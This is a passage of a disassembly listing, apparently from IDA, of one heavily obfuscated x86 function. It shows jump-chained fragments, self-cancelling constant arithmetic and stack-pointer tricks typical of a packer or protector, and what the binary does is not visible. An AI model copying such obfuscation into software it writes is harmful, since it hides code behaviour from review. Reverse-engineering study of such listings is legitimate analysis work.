					; sub_58A891+10A1Bj
		push	5008h
		mov	[esp+28h+var_28], ebp
		jmp	loc_58EAF5
; ---------------------------------------------------------------------------


loc_599A5E:				; CODE XREF: sub_58A891+BE53j
		sub	ebp, ebx
		pop	ebx
		sub	eax, ebp
		jmp	loc_597BDB
; ---------------------------------------------------------------------------


loc_599A68:				; CODE XREF: sub_58A891+B156j
		push	esp
		jmp	loc_59AD94
; ---------------------------------------------------------------------------


loc_599A6E:				; CODE XREF: sub_58A891+C559j
		xor	edi, 3D513C7h
		add	ebx, edi
		jmp	loc_591597
; ---------------------------------------------------------------------------


loc_599A7B:				; CODE XREF: sub_58A891:loc_596F80j
		jmp	loc_599FA0
; ---------------------------------------------------------------------------


loc_599A80:				; CODE XREF: sub_58A891+D486j
		xchg	edx, [esp+2Ch+var_2C]
		mov	esp, [esp+2Ch+var_2C]
		jmp	loc_59696D
; ---------------------------------------------------------------------------


loc_599A8B:				; CODE XREF: sub_58A891+C606j
		add	bl, al
		jmp	loc_595742
; ---------------------------------------------------------------------------


loc_599A92:				; CODE XREF: sub_58A891+B2BFj
		or	edi, eax
		pop	eax
		push	esi
		push	edi
		jmp	loc_58FF24
; ---------------------------------------------------------------------------


loc_599A9C:				; CODE XREF: sub_58A891+7D3Aj
		sub	edi, 4
		xchg	edi, [esp+40h+var_40]
		pop	esp
		mov	[esp+3Ch+var_3C], edi
		mov	edi, 122A2024h
		jmp	loc_5920F3
; ---------------------------------------------------------------------------


loc_599AB0:				; CODE XREF: sub_58A891+6C3Aj
					; sub_58A891+F014j
		mov	esi, 3DF2755Ah
		jmp	loc_5902CD
; ---------------------------------------------------------------------------
off_599ABA	dd offset dword_58C25C+10Ch ; DATA XREF: sub_58A891+39D7o
		dw 8900h
; ---------------------------------------------------------------------------
		add	al, 24h
		jmp	loc_598D5F
; ---------------------------------------------------------------------------


loc_599AC7:				; CODE XREF: sub_58A891+10871j
		mov	cl, 86h
		add	al, 0FDh
		sub	al, cl
		push	4FFFh
		mov	[esp+40h+var_40], ebx
		mov	bl, 3
		jmp	loc_593BCE
; ---------------------------------------------------------------------------


loc_599ADC:				; CODE XREF: sub_58A891+98DFj
		sub	ecx, ebp
		jmp	loc_594855
; ---------------------------------------------------------------------------


loc_599AE3:				; CODE XREF: sub_58A891+5E5Dj
		mov	edx, 4
		add	esi, edx
		pop	edx
		sub	esi, 4
		jmp	loc_58F899
; ---------------------------------------------------------------------------


loc_599AF3:				; CODE XREF: sub_58A891+10E78j
		mov	edi, [esp+8+var_8]
		add	esp, 4
		and	edx, 6AD17D46h
		push	edi
		jmp	loc_5988F8
; ---------------------------------------------------------------------------


loc_599B05:				; CODE XREF: sub_58A891+EA15j
		mov	[esp+1Ch+var_1C], edx
		mov	edx, 20h
		add	edx, 64096092h
		add	edx, edi
		sub	edx, 64096092h
		push	7B53h
		mov	[esp+20h+var_20], eax
		jmp	loc_5954F2
; ---------------------------------------------------------------------------


loc_599B28:				; CODE XREF: sub_58A891+E362j
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		jmp	loc_59A0AF
; ---------------------------------------------------------------------------


loc_599B34:				; CODE XREF: sub_58A891+987Ej
		pop	ebp
		jmp	loc_596757
; ---------------------------------------------------------------------------


loc_599B3A:				; CODE XREF: sub_58A891+C00Cj
		xor	eax, ebp
		pop	ebp
		jmp	loc_5964DC
; ---------------------------------------------------------------------------


loc_599B42:				; CODE XREF: sub_58A891+6396j
		add	edx, 712D3569h
		jl	loc_59A6E1
		sub	edx, 929BE4C7h
		mov	esi, edx
		jmp	loc_597FD7
; ---------------------------------------------------------------------------


loc_599B5B:				; CODE XREF: sub_58A891+5CDBj
		xchg	ebp, [esp+38h+var_38]
		mov	esp, [esp+38h+var_38]
		mov	[esp+38h+var_38], esp
		add	[esp+38h+var_38], 4
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_599B70:				; CODE XREF: sub_58A891+4837j
		pop	ecx
		sub	ebx, 57991BA1h
		add	edi, ebx
		pop	ebx
		jmp	loc_590CD0
; ---------------------------------------------------------------------------


loc_599B7F:				; CODE XREF: sub_58A891+CB56j
		dec	ch
		jge	loc_598E32
		shr	ch, 3
		jmp	loc_59006A
; ---------------------------------------------------------------------------


loc_599B8F:				; CODE XREF: sub_58A891+108F5j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+0]
		pop	esp
		mov	[esp-8+arg_0], edi
		mov	edi, 6C7423CAh
		or	edi, 3C6B6645h
		not	edi
		add	edi, 0C066153h
		xchg	esi, edi
		dec	esi
		push	edi
		jmp	loc_59497C
; ---------------------------------------------------------------------------


loc_599BBB:				; CODE XREF: sub_58A891+8DA4j
					; sub_58A891:loc_59403Bj
		xor	ecx, 44F368D6h
		push	ecx
		sub	[esp+12h+var_14+2], 519B5484h
		jmp	loc_58F6D4
; ---------------------------------------------------------------------------


loc_599BCE:				; CODE XREF: sub_58A891+446Fj
		add	eax, 4
		jmp	loc_593AEB
; ---------------------------------------------------------------------------


loc_599BD8:				; CODE XREF: sub_58A891+F3DAj
		mov	[eax], cl
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_599BE8:				; CODE XREF: sub_58A891+6D01j
		shr	ecx, 1
		jnz	loc_593E87
		dec	ecx
		and	ecx, 6B0C7CC7h
		jmp	loc_594DB6
; ---------------------------------------------------------------------------


loc_599BFC:				; CODE XREF: sub_58A891+6099j
		pop	edx
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_592F52
; ---------------------------------------------------------------------------


loc_599C0B:				; CODE XREF: sub_58A891+850Ej
		mov	ecx, 0EA333B5h
		push	162Ch
		mov	[esp+14h+var_14], ebp
		push	edi
		jmp	loc_593D67
; ---------------------------------------------------------------------------


loc_599C1E:				; CODE XREF: sub_58A891+B9A7j
		mov	[esp+0], ebx
		mov	bl, 70h
		push	cx
		jmp	loc_58E763
; ---------------------------------------------------------------------------


loc_599C2A:				; CODE XREF: sub_58A891+4A8Fj
					; sub_58A891+E83Aj
		mov	esp, [esp+30h+var_30]
		mov	[esp+30h+var_30], edx
		jmp	loc_5918A6
; ---------------------------------------------------------------------------


loc_599C35:				; CODE XREF: sub_58A891+10028j
		mov	[esp+30h+var_30], ecx
		push	ebx
		push	edi
		mov	edi, 1B359D2h
		jmp	loc_5982D7
; ---------------------------------------------------------------------------


loc_599C44:				; CODE XREF: sub_58A891+AFB3j
		pop	ecx
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_59411F
; ---------------------------------------------------------------------------


loc_599C4D:				; CODE XREF: sub_58A891+108A3j
		inc	esi
		shl	esi, 1
		add	esi, 959B6918h
		add	ebx, 780E4D77h
		add	ebx, esi
		jmp	loc_5946C5
; ---------------------------------------------------------------------------


loc_599C63:				; CODE XREF: sub_58A891+1125Fj
		push	[esp+1Ch+var_1C]
		pop	ebx
		add	esp, 4
		pop	eax
		jmp	loc_599BD8
; ---------------------------------------------------------------------------


loc_599C70:				; CODE XREF: sub_58A891+C759j
		mov	edx, [esp+4+var_4]
		add	esp, 4
		pop	ecx
		jmp	loc_5939EE
; ---------------------------------------------------------------------------


loc_599C7F:				; CODE XREF: sub_58A891+8228j
		dec	edx
		jmp	loc_5962AA
; ---------------------------------------------------------------------------


loc_599C85:				; CODE XREF: sub_58A891+6173j
		sub	ebp, 6AFF38B6h
		pop	eax
		dec	ebp
		sub	ebp, 0FF3B2AFBh
		add	ebx, 3304A0Ah
		add	ebx, ebp
		sub	ebx, 3304A0Ah
		pop	ebp
		jmp	loc_595C2B
; ---------------------------------------------------------------------------


loc_599CA7:				; CODE XREF: sub_58A891+632Aj
					; sub_58A891+CA15j
		mov	edi, 4BD64C43h
		mov	ebp, 0B429B3BFh
		add	ebp, edi
		pop	edi
		add	ebx, ebp
		pop	ebp
		jmp	loc_594BDB
; ---------------------------------------------------------------------------


loc_599CBC:				; CODE XREF: sub_58A891+D46Dj
		push	eax
		xor	[esp+0Ch+var_C], 3CCB63C6h
		pop	edx
		jmp	loc_59AFB7
; ---------------------------------------------------------------------------
		push	[esp+8+var_8]
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_592255
; ---------------------------------------------------------------------------


loc_599CE9:				; CODE XREF: sub_58A891+FDDDj
		pop	ecx
		jmp	loc_590C1C
; ---------------------------------------------------------------------------


loc_599CEF:				; CODE XREF: sub_58A891+47ACj
					; sub_58A891+9C9Aj
		inc	ebx
		jmp	loc_58EDF3
; ---------------------------------------------------------------------------


loc_599CF5:				; CODE XREF: sub_58A891+88FDj
		add	esi, 3DFF3406h
		jnz	loc_5947B2
		dec	esi
		jmp	loc_5921C9
; ---------------------------------------------------------------------------
		add	esp, 4
		push	eax


loc_599D0B:				; CODE XREF: sub_58A891+B897j
		pop	ebx
		push	ebx
		pop	ecx
		pop	ebx
		neg	ecx
		add	ecx, 1
		dec	ecx
		shr	ecx, 3
		push	edx
		push	ebp
		push	79804787h
		pop	ebp
		xor	ebp, 680AB306h
		mov	edx, ebp
		jmp	loc_597981
; ---------------------------------------------------------------------------


loc_599D2D:				; CODE XREF: sub_58A891+CA57j
		add	ecx, 4
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		xor	ecx, [esp+48h+var_48]
		xor	[esp+48h+var_48], ecx
		xor	ecx, [esp+48h+var_48]
		pop	esp
		jmp	loc_5982BA
; ---------------------------------------------------------------------------


loc_599D4B:				; CODE XREF: sub_58A891+9B07j
					; sub_58A891+10462j
		pop	ecx
		mov	ebx, [esp+0]
		add	esp, 4
		jmp	loc_5998C1
; ---------------------------------------------------------------------------


loc_599D5A:				; CODE XREF: sub_58A891+874Fj
		sub	eax, ecx
		pop	ecx
		add	eax, 4F2700F5h
		sub	eax, ebx
		sub	eax, 4F2700F5h
		push	edx
		mov	edx, 3F6075AFh
		jmp	loc_599FD3
; ---------------------------------------------------------------------------


loc_599D74:				; CODE XREF: sub_58A891+5822j
		push	ecx
		push	[esp+18h+var_14]
		pop	ecx
		pop	[esp+18h+var_18]
		mov	esp, [esp+14h+var_14]
		jmp	loc_58FFC9
; ---------------------------------------------------------------------------


loc_599D85:				; CODE XREF: sub_58A891+6820j
					; sub_58A891+AC7Aj
		sub	ecx, 0E4803A9h
		jmp	loc_59AE5A
; ---------------------------------------------------------------------------


loc_599D90:				; CODE XREF: sub_58A891+46FCj
		neg	ebx
		jle	loc_59742F
		shr	ebx, 8
		jnz	loc_5974D0
		jmp	loc_59B388
; ---------------------------------------------------------------------------


loc_599DA6:				; CODE XREF: sub_58A891+CB67j
		jmp	loc_597ED0
; ---------------------------------------------------------------------------


loc_599DAB:				; CODE XREF: sub_58A891+8098j
		xor	eax, [esp+34h+var_34]
		xor	[esp+34h+var_34], eax
		xor	eax, [esp+34h+var_34]
		pop	esp
		btr	word ptr [esp+30h+var_30], ax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_599DC0:				; DATA XREF: sub_58A891+3AB3o
		push	[esp+8+var_8]
		mov	ecx, [esp+0Ch+var_C]
		jmp	loc_590AB5
; ---------------------------------------------------------------------------


loc_599DCB:				; CODE XREF: sub_58A891+E9F7j
		add	ecx, 27C612C5h
		pop	edx
		sub	ecx, edx
		jmp	loc_596777
; ---------------------------------------------------------------------------


loc_599DD9:				; CODE XREF: sub_58A891+DEC6j
		add	ecx, 34380828h
		add	ecx, 59CD7579h
		add	ecx, edi
		sub	ecx, 59CD7579h
		sub	ecx, 34380828h
		pop	edi
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp+0], ecx
		push	[esp-10h+arg_A+2]
		pop	ecx
		pop	dword ptr [esp+0]
		jmp	loc_58FB35
; ---------------------------------------------------------------------------


loc_599E10:				; CODE XREF: sub_58A891+6152j
		pop	esi
		push	0A78h
		mov	[esp+4Ch+var_4C], ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		jmp	loc_599255
; ---------------------------------------------------------------------------


loc_599E2E:				; CODE XREF: sub_58A891+F7DCj
		pop	[esp+50h+var_50]
		mov	esp, [esp+4Ch+var_4C]
		mul	cx
		sub	esp, 4
		jmp	loc_5959E4
; ---------------------------------------------------------------------------


loc_599E42:				; CODE XREF: sub_58A891+C65Dj
		mov	eax, 249A559Ch
		sub	edi, eax
		pop	eax
		sub	edi, esi
		add	edi, 249A559Ch
		mov	esi, [esp+22h+var_24+2]
		add	esp, 4
		pop	ebx
		add	edi, ebp
		jmp	loc_5917CA
; ---------------------------------------------------------------------------


loc_599E60:				; CODE XREF: sub_58A891+8341j
		push	edi
		jmp	loc_597714
; ---------------------------------------------------------------------------


loc_599E66:				; CODE XREF: sub_58A891+CAB7j
					; sub_58A891+EF75j
		mov	ch, 3Fh
		add	ch, 0CAh
		jmp	loc_5977BE
; ---------------------------------------------------------------------------


loc_599E70:				; CODE XREF: sub_58A891+B395j
		add	esp, 4
		sub	bl, al
		add	bl, 43h
		sub	bl, 0DCh
		sub	bl, 8Fh
		jmp	loc_58EA53
; ---------------------------------------------------------------------------


loc_599E83:				; CODE XREF: sub_58A891+7149j
		mov	esi, [esp+10h+var_10]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_597DD7
; ---------------------------------------------------------------------------


loc_599E93:				; CODE XREF: sub_58A891+6DC5j
		sub	eax, 5EC818FDh
		jmp	loc_58F374
; ---------------------------------------------------------------------------


loc_599E9D:				; CODE XREF: sub_58A891+FD84j
		add	eax, 2
		xchg	eax, [esp+40h+var_40]
		mov	esp, [esp+40h+var_40]
		jmp	loc_5981A9
; ---------------------------------------------------------------------------


loc_599EAD:				; CODE XREF: sub_58A891+6FE2j
		sub	edx, 0D957CB91h
		mov	edi, edx
		pop	edx
		shr	edi, 2
		dec	edi
		or	edi, 2DD86F8Eh
		and	edi, 4F18223Ah
		xor	edi, edx
		xor	edx, edi
		xor	edi, edx
		not	edx
		xchg	edx, edi
		jmp	loc_594916
; ---------------------------------------------------------------------------


loc_599ED5:				; CODE XREF: sub_58A891+7548j
		add	eax, 2B86445Ah
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		xchg	eax, [esp+8+var_8]
		pop	esp
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_599EE9:				; CODE XREF: sub_58A891+B48Dj
		sub	esi, 0FBFFDFB7h
		jmp	loc_598ECD
; ---------------------------------------------------------------------------


loc_599EF4:				; CODE XREF: sub_58A891+81EFj
		mov	eax, esp
		jmp	loc_59644F
; ---------------------------------------------------------------------------


loc_599EFB:				; CODE XREF: sub_58A891+A141j
		mov	ebx, 519E7EC3h
		mov	eax, 0D2AA8E8h
		add	eax, ebx
		pop	ebx
		add	eax, 0CD0CE2CDh
		and	esi, eax
		pop	eax
		push	edi
		mov	edi, 6AE00605h
		and	esi, edi
		jmp	loc_5924D5
; ---------------------------------------------------------------------------


loc_599F1D:				; CODE XREF: sub_58A891+6A7Dj
		mov	[esp+0Ch+var_C], ebx
		jmp	loc_591977
; ---------------------------------------------------------------------------


loc_599F25:				; CODE XREF: sub_58A891+8E7Dj
		sub	esi, 0FC27F93Fh
		jmp	$+5
		mov	eax, esi
		pop	esi
		dec	eax
		and	eax, 2B7A704Bh
		shr	eax, 7
		jmp	loc_5980FD
; ---------------------------------------------------------------------------


loc_599F41:				; CODE XREF: sub_58A891+AB6Ej
		add	edi, 4
		jmp	loc_596EF3
; ---------------------------------------------------------------------------


loc_599F4C:				; CODE XREF: sub_58A891+99E7j
		push	esp
		pop	ebp
		push	edi
		push	11EFh
		mov	[esp+14h+var_14], edx
		mov	edx, 4
		push	edx
		jmp	loc_59B895
; ---------------------------------------------------------------------------


loc_599F62:				; CODE XREF: sub_58A891+10DEAj
		push	edi
		push	ebp
		jmp	loc_590B69
; ---------------------------------------------------------------------------


loc_599F69:				; CODE XREF: sub_58A891+CE6Cj
		push	ecx
		mov	ecx, esp
		push	eax
		jmp	loc_591B4C
; ---------------------------------------------------------------------------


loc_599F72:				; CODE XREF: sub_58A891+6E69j
		xor	ah, cl
		jmp	loc_594C6E
; ---------------------------------------------------------------------------


loc_599F79:				; CODE XREF: sub_58A891+D5A6j
		pop	eax
		inc	ebx
		push	eax
		jmp	loc_5994B2
; ---------------------------------------------------------------------------


loc_599F81:				; CODE XREF: sub_58A891+4BE3j
		pop	eax
		push	75FCh
		mov	[esp+48h+var_48], ecx
		jmp	loc_59198A
; ---------------------------------------------------------------------------


loc_599F8F:				; CODE XREF: sub_58A891+8713j
		sub	al, dl
		sub	al, 0F5h
		pop	dx
		sub	al, 0FCh
		add	al, 8Dh
		sub	al, ch
		jmp	loc_595960
; ---------------------------------------------------------------------------


loc_599FA0:				; CODE XREF: sub_58A891:loc_599A7Bj
		sub	esp, 4
		mov	[esp+10h+var_10], edx
		mov	dl, 51h
		jmp	loc_5941F3
; ---------------------------------------------------------------------------


loc_599FB0:				; CODE XREF: sub_58A891+6294j
		sub	esp, 4
		mov	[esp+18h+var_18], edi
		mov	edi, 0A9963E0h
		dec	edi
		inc	edi
		jmp	loc_594367
; ---------------------------------------------------------------------------


loc_599FC5:				; CODE XREF: sub_58A891+7B6Aj
		push	2367h
		mov	[esp+34h+var_34], eax
		push	esp
		jmp	loc_5937E8
; ---------------------------------------------------------------------------


loc_599FD3:				; CODE XREF: sub_58A891+F4DEj
		add	eax, edx
		pop	edx
		jmp	loc_59B338
; ---------------------------------------------------------------------------


loc_599FDB:				; CODE XREF: sub_58A891+93B9j
		push	edx
		jmp	loc_59376E
; ---------------------------------------------------------------------------


loc_599FE1:				; CODE XREF: sub_58A891+765Cj
		add	esp, 4
		add	ebx, edi
		sub	esp, 4
		mov	[esp+8+var_8], esi
		mov	esi, 5EA60EA0h
		sub	ebx, esi
		pop	esi
		mov	[ebx], dl
		pop	ebx
		push	dword ptr [esp+0]
		jmp	loc_5942DD
; ---------------------------------------------------------------------------


loc_599FFF:				; CODE XREF: sub_58A891+ACCDj
		jb	loc_59A35D
		and	ebp, 55E93552h
		sub	ebp, 50D2279Fh
		jg	loc_592CC9
		jmp	loc_593861
; ---------------------------------------------------------------------------


loc_59A01C:				; CODE XREF: sub_58A891+5D2Ej
		mov	[ebx], edx
		pop	ebx
		jmp	loc_597F29
; ---------------------------------------------------------------------------


loc_59A024:				; CODE XREF: sub_58A891+CBEFj
		dec	ebp
		push	esi
		mov	esi, 313C5797h
		add	esi, 2EA722DEh
		sub	ebp, esi
		jmp	loc_597D54
; ---------------------------------------------------------------------------


loc_59A038:				; CODE XREF: sub_58A891+67FCj
		sub	ebx, 5532ECDh
		pop	ecx
		jmp	loc_58F48A
; ---------------------------------------------------------------------------


loc_59A044:				; CODE XREF: sub_58A891+F19Aj
		sub	bp, 2E20h
		jmp	loc_591D62
; ---------------------------------------------------------------------------


loc_59A04E:				; CODE XREF: sub_58A891+4537j
		shr	word ptr [esp+0], cl
		pushf
		jmp	loc_594CA6
; ---------------------------------------------------------------------------


loc_59A058:				; CODE XREF: sub_58A891+1095Ej
		mov	esi, 2
		add	eax, esi
		pop	esi
		push	0EB4h
		mov	[esp-0Ch+arg_4], eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_599E2E
; ---------------------------------------------------------------------------


loc_59A072:				; CODE XREF: sub_58A891+DA24j
		add	eax, edi
		sub	eax, 6787AA1h
		push	dword ptr [eax]
		push	ebx
		mov	ebx, 91F19A7h
		xor	[esp+44h+var_40], ebx
		pop	ebx
		pop	ecx
		jmp	loc_58F848
; ---------------------------------------------------------------------------


loc_59A08C:				; CODE XREF: sub_58A891+C6F5j
		sub	esp, 4
		mov	[esp+10h+var_10], edx
		mov	dl, 51h
		sub	cl, 0D7h
		jmp	loc_593F8F
; ---------------------------------------------------------------------------


loc_59A09F:				; CODE XREF: sub_58A891+78D2j
					; sub_58A891+9A8Fj
		xor	ebp, [esp+12h+var_14+2]
		jmp	loc_592912
; ---------------------------------------------------------------------------


loc_59A0A7:				; CODE XREF: sub_58A891+458Bj
		push	eax
		mov	al, dl
		jmp	loc_5978A2
; ---------------------------------------------------------------------------


loc_59A0AF:				; CODE XREF: sub_58A891+F29Ej
					; sub_58A891+FFE5j
		xchg	ecx, [edi+24h]
		jmp	loc_594E8C
; ---------------------------------------------------------------------------


loc_59A0B7:				; CODE XREF: sub_58A891+E57Dj
		add	edi, edx
		pop	edx
		add	edi, ebx
		sub	edi, 32D67D7Dh
		pop	ebx
		jmp	loc_59B3D6
; ---------------------------------------------------------------------------


loc_59A0C8:				; CODE XREF: sub_58A891+94C2j
		mov	[esp+18h+var_18], edx
		push	704718FEh
		pop	edx
		sub	edx, 1C5475EFh
		sub	esp, 4
		jmp	loc_595808
; ---------------------------------------------------------------------------


loc_59A0DF:				; CODE XREF: sub_58A891+4113j
					; sub_58A891+DEEDj
		push	7A14h
		mov	[esp+0Ch+var_C], esp
		push	ebx
		mov	ebx, 4
		add	[esp+10h+var_C], ebx
		pop	ebx
		pop	eax
		push	ecx
		mov	ecx, 4
		jmp	loc_5933CC
; ---------------------------------------------------------------------------


loc_59A0FE:				; CODE XREF: sub_58A891+9820j
		xchg	edx, [esp+18h+var_18]
		pop	esp
		mov	[esp+14h+var_14], ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 4003616Ah
		and	ebp, 3792BD8h
		xor	ebp, 1214Ch
		add	ebx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp+18h+var_18], ebp
		jmp	loc_59AB4B
; ---------------------------------------------------------------------------


loc_59A12A:				; CODE XREF: sub_58A891+8E66j
		push	[esp+34h+var_30]
		mov	eax, [esp+38h+var_38]
		push	edi
		mov	edi, esp
		jmp	loc_5945DD
; ---------------------------------------------------------------------------


loc_59A139:				; CODE XREF: sub_58A891+6688j
		pop	edx
		mov	eax, esi
		pop	esi
		inc	eax
		js	loc_590976
		xchg	eax, edx
		neg	edx
		xchg	eax, edx
		push	ebx
		mov	ebx, 0E786A632h
		xor	eax, ebx
		jmp	loc_593C81
; ---------------------------------------------------------------------------


loc_59A155:				; CODE XREF: sub_58A891+B9DEj
		mov	esi, 4A297424h
		jmp	loc_598B49
; ---------------------------------------------------------------------------


loc_59A15F:				; CODE XREF: sub_58A891+D4EDj
		add	ebx, 41044724h
		mov	edi, ebx
		pop	ebx
		push	esi
		mov	esi, 8DB9D53Bh
		jmp	loc_5950F3
; ---------------------------------------------------------------------------


loc_59A173:				; CODE XREF: sub_58A891+8A75j
		mov	[esp+4+var_4], ebx
		mov	bh, ch
		mov	dl, bh
		pop	ebx
		mov	ecx, [esp+0]
		add	esp, 4
		sub	al, dl
		pop	edx
		jmp	loc_59178F
; ---------------------------------------------------------------------------


loc_59A189:				; CODE XREF: sub_58A891+738Ej
		pop	ax
		xor	cl, 0D7h
		jmp	loc_598425
; ---------------------------------------------------------------------------


loc_59A193:				; CODE XREF: sub_58A891+C3D0j
		not	esi
		sub	esi, 0E41BAACDh
		mov	eax, esi
		pop	esi
		sub	edi, eax
		pop	eax
		push	edx
		mov	edx, 7E131FDDh
		add	edi, edx
		pop	edx
		push	ebx
		mov	ebx, edi
		mov	edx, ebx
		jmp	loc_593362
; ---------------------------------------------------------------------------


loc_59A1B4:				; DATA XREF: sub_58A891+3BEFo
		lodsb
		sub	esp, 4
		mov	[esp+0Ch+var_C], edx
		jmp	loc_594BE4
; ---------------------------------------------------------------------------


loc_59A1C0:				; CODE XREF: sub_58A891+A091j
		xor	esi, 2B25229h
		jmp	loc_59486A
; ---------------------------------------------------------------------------


loc_59A1CB:				; CODE XREF: sub_58A891+CFFAj
		add	eax, 54061DD7h
		add	eax, ebx
		sub	eax, 54061DD7h
		pop	ebx
		xor	eax, [esp+48h+var_48]
		xor	[esp+48h+var_48], eax
		xor	eax, [esp+48h+var_48]
		jmp	loc_5961F5
; ---------------------------------------------------------------------------


loc_59A1E6:				; CODE XREF: sub_58A891+C5BAj
		sub	esp, 4
		mov	[esp+3Ch+var_3C], esi
		mov	esi, esp
		add	esi, 4
		push	ecx
		mov	ecx, 57E065FEh
		xor	ecx, 42071E0Dh
		not	ecx
		dec	ecx
		add	ecx, 15E77BF9h
		sub	esi, ecx
		pop	ecx
		xchg	esi, [esp+3Ch+var_3C]
		pop	esp
		mov	[esp+38h+var_38], esp
		push	eax
		mov	eax, 4
		sub	[esp+3Ch+var_38], 303A046Ch
		add	[esp+3Ch+var_38], eax
		add	[esp+3Ch+var_38], 303A046Ch
		pop	eax
		pop	esi
		jmp	loc_58EBFE
; ---------------------------------------------------------------------------


loc_59A237:				; CODE XREF: sub_58A891+FB56j
		pop	ebx
		shl	dh, 8
		shr	dh, 7
		shl	dh, 8
		push	ecx
		mov	cl, 1Ah
		xor	dh, cl
		jmp	loc_594772
; ---------------------------------------------------------------------------


loc_59A24B:				; CODE XREF: sub_58A891+4848j
		or	bl, 7Fh
		and	bl, 83h
		jnp	loc_597161
		sub	bl, 13h
		sub	bl, 41h
		push	7A9Dh
		mov	[esp+34h+var_34], edx
		pop	eax


loc_59A266:				; CODE XREF: sub_58A891+6068j
		neg	dh
		jno	loc_591EA7
		add	dh, 54h
		mov	ah, dh
		pop	edx
		sub	ch, ah
		mov	ax, word ptr [esp+2Ch+var_2C]
		pop	edi


loc_59A27B:				; CODE XREF: sub_58A891+A48Dj
		mov	ax, word ptr [esp+28h+var_28]
		push	6D58h
		mov	[esp+2Ch+var_2C], edx
		mov	edx, esp
		push	ebx
		push	eax
		jmp	loc_59A771
; ---------------------------------------------------------------------------


loc_59A290:				; CODE XREF: sub_58A891+588Bj
		dec	ebp
		and	ebp, 57B21B1Eh
		or	ebp, 3F536F04h
		xor	ebp, 23523h
		mov	ebx, ebp
		pop	ebp
		not	ebx
		jmp	loc_596544
; ---------------------------------------------------------------------------


loc_59A2AD:				; CODE XREF: sub_58A891+5BA6j
		pop	ecx
		jmp	loc_598E29
; ---------------------------------------------------------------------------


loc_59A2B3:				; CODE XREF: sub_58A891+4183j
		dec	edx
		jmp	loc_595B97
; ---------------------------------------------------------------------------


loc_59A2B9:				; CODE XREF: sub_58A891+89C3j
		pop	edx
		pop	edx
		xor	edx, 740A51E3h
		push	[esp+18h+var_18]
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		jmp	loc_592B1D
; ---------------------------------------------------------------------------


loc_59A2D4:				; CODE XREF: sub_58A891:loc_58E83Aj
		neg	ecx
		jz	loc_596BF6
		jmp	loc_59175A
; ---------------------------------------------------------------------------


loc_59A2E1:				; CODE XREF: sub_58A891:loc_59A9F3j
		shr	ebp, 1
		jp	loc_594747
		sub	ebp, 987D79F7h
		push	esi
		mov	dl, dl
		mov	ebp, eax


loc_59A2F4:				; CODE XREF: sub_58A891+A646j
		mov	esi, 309F6B26h
		jmp	loc_5925D0
; ---------------------------------------------------------------------------


loc_59A2FE:				; CODE XREF: sub_58A891+87A9j
		push	eax
		jmp	loc_592672
; ---------------------------------------------------------------------------


loc_59A304:				; CODE XREF: sub_58A891+9421j
		mov	esp, [esp+44h+var_44]
		xor	edx, edx
		push	ebx
		push	[esp+48h+var_48]
		mov	eax, [esp+4Ch+var_4C]
		add	esp, 4
		push	4308h
		mov	[esp+4Ch+var_4C], edx
		push	7B8Ah
		mov	[esp+50h+var_50], esp
		add	[esp+50h+var_50], 4
		pop	edx
		add	edx, 4
		add	edx, 4
		push	edx
		jmp	loc_591175
; ---------------------------------------------------------------------------


loc_59A337:				; CODE XREF: sub_58A891+ED7Ej
		pop	ebp
		pop	[esp+0Ch+var_C]
		push	ebp
		push	eax
		jmp	loc_5983AF
; ---------------------------------------------------------------------------


loc_59A342:				; CODE XREF: sub_58A891+7753j
		add	ch, dl
		pop	edx
		jmp	loc_591D91
; ---------------------------------------------------------------------------


loc_59A34A:				; CODE XREF: sub_58A891+7C9Cj
		mov	[esp+0], edi
		jmp	loc_59097F
; ---------------------------------------------------------------------------


loc_59A352:				; CODE XREF: sub_58A891+529Fj
		add	esi, 4
		jmp	loc_592E6F
; ---------------------------------------------------------------------------


loc_59A35D:				; CODE XREF: sub_58A891:loc_599FFFj
		and	ebp, 55E93552h
		sub	ebp, 50D2279Fh
		jg	loc_59B2FB
		jmp	loc_59444D
; ---------------------------------------------------------------------------


loc_59A374:				; CODE XREF: sub_58A891+8E9Dj
		sub	al, bl
		sub	al, 0EEh
		push	ebx
		push	edx
		mov	dh, 1Dh
		mov	bh, dh
		mov	edx, [esp+10h+var_10]
		add	esp, 4
		push	edx
		mov	dl, 0CDh
		or	dl, 1Dh
		neg	dl
		xor	dl, 8Eh
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_596FEF
; ---------------------------------------------------------------------------


loc_59A3A6:				; CODE XREF: sub_58A891+70FAj
		mov	esi, 3231139Ah
		jmp	loc_595AFC
; ---------------------------------------------------------------------------


loc_59A3B0:				; CODE XREF: sub_58A891+9160j
		mov	[esp+4Ch+var_4C], ebx
		mov	bl, 0D2h
		dec	bl
		jns	loc_591AD8
		push	eax
		jmp	loc_5906F3
; ---------------------------------------------------------------------------


loc_59A3C3:				; CODE XREF: sub_58A891+774Bj
		mov	eax, 22FA5662h
		dec	eax
		jnp	loc_58EB5A
		push	edi
		push	ebp
		push	519C5226h
		mov	ebp, [esp+6Ch+var_6C]
		add	esp, 4
		neg	ebp


loc_59A3DE:				; CODE XREF: sub_58A891+B5A6j
		mov	dx, word ptr [esp+68h+var_68]
		add	esp, 2
		mov	dh, bh
		jmp	loc_59A237
; ---------------------------------------------------------------------------


loc_59A3EC:				; CODE XREF: sub_58A891+DBD4j
